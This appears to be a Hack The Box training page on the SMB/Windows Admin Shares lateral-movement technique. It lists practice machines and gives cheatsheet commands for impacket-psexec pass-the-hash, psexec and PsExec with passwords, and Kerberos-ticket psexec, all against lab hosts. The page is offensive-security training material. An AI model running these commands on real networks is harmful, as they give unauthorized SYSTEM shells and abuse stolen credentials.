SMB/Windows Admin Shares
Sub-technique of T1021 Remote Services ↗
Running commands on another host through SMB and the C$ and ADMIN$ shares.
How it shows up on Hack The Box
If NetExec shows (Pwn3d!) on SMB you are a local admin: psexec, smbexec or atexec give you a shell on that host.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
Pass-the-hash with psexec
Attacker
impacket-psexec [email protected] -hashes :HASH_NTActive Directory in depth › Impacket
psexec (SYSTEM)
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20C2 and post-exploitation › Lateral movement
impacket-psexec
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
Sysinternals PsExec (from Windows)
Target
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmdImpacket › More examples
Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]No command matches.